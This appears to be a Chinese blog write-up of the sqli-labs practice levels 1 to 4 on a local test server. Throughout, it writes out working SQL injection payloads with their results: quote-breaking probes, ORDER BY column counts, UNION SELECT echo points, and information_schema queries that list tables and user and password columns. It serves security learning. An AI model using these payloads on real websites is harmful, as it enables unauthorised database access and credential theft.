SQL注入:sqli-labs 1~4

第一题:

  • http://127.0.0.1/sqli/Less-1/?id=1 不报错
  • http://127.0.0.1/sqli/Less-1/?id=100 不报错
  • http://127.0.0.1/sqli/Less-1/?id=1' 报错,错误为:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'1'' LIMIT 0,1’ at line 1。有数值出现,说明这个id变量是一个字符型注入,我们注入的字符是1' 所以这个字符型注入是用''(两个单引号)闭合的。
  • 所以语句应该是 select * from ... id='$id' limit 0,1
  • 验证,把后面单引号注释掉:http://127.0.0.1/sqli/Less-1/?id=1' --+++,不报错。
  • 查询有多少列,把前面闭合,后面注释:当http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+++的时候报错,所以这个数据表columns有3列。
  • 判断回显点:http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3 --++不报错,说明这不是access数据库,让union前面为假,再来:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --++不报错,出现回显点显示:
    Welcome Dhakkan
    Your Login name:2
    Your Password:3
    说明回显点在Your Login name和Your Password上
  • 查询数据库名称:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,database(),3 from information_schema.schemata --+:返回数据库名称为security.
  • 查询所在数据库所有数据表的名称:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --++:返回的所有数据表名称为:emails,referers,uagents,users。
  • 查询所在数据库里所有字段的名称:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+,字段有id,email_id,id,referer,ip_address,id,uagent,ip_address,username,id,username,password
  • 当然也可以指定查找哪个数据表里的字段:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+:要控制好where后面的变量

第二题

  • http://127.0.0.1/sqli/Less-2/?id=1 不报错
  • http://127.0.0.1/sqli/Less-2/?id=100 不报错
  • http://127.0.0.1/sqli/Less-2/?id=1' 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘' LIMIT 0,1’ at line 1。没有数值出现,说明这是个数字型注入,我们注入的是1' ,报错点在' 所以,这个id后面的数值是一个数。
  • 所以语句应该是 select * from ... id=$id limit 0,1
  • 验证一下:http://127.0.0.1/sqli/Less-2/?id=1 aaaaaaa 如果是字符型,则没有反应,如果是数字型,一定会报错——果然报错了。

第三题:

  • http://127.0.0.1/sqli/Less-4/?id=1 不报错
  • http://127.0.0.1/sqli/Less-4/?id=100 不报错
  • http://127.0.0.1/sqli/Less-4/?id=1' 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'1'') LIMIT 0,1’ at line 1。可见,这个不仅是字符型注入,而且外部还添加了括号
  • 所以语句应该是 select * from ... id=('$id') limit 0,1
  • 验证一下:http://127.0.0.1/sqli/Less-3/?id=1') --+, 不报错

第四题:

  • http://127.0.0.1/sqli/Less-4/?id=1 不报错
  • http://127.0.0.1/sqli/Less-4/?id=100 不报错
  • http://127.0.0.1/sqli/Less-4/?id=1' 不报错
  • http://127.0.0.1/sqli/Less-4/?id=1" 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1"") LIMIT 0,1’ at line 1:字符型注入
  • 语句应该是: select * from ... id=("$id") limit 0,1
  • 验证:http://127.0.0.1/sqli/Less-4/?id=1") --+ 不报错
posted @ 2021-08-12 12:05  Zeker62  阅读(70)  评论(0编辑  收藏  举报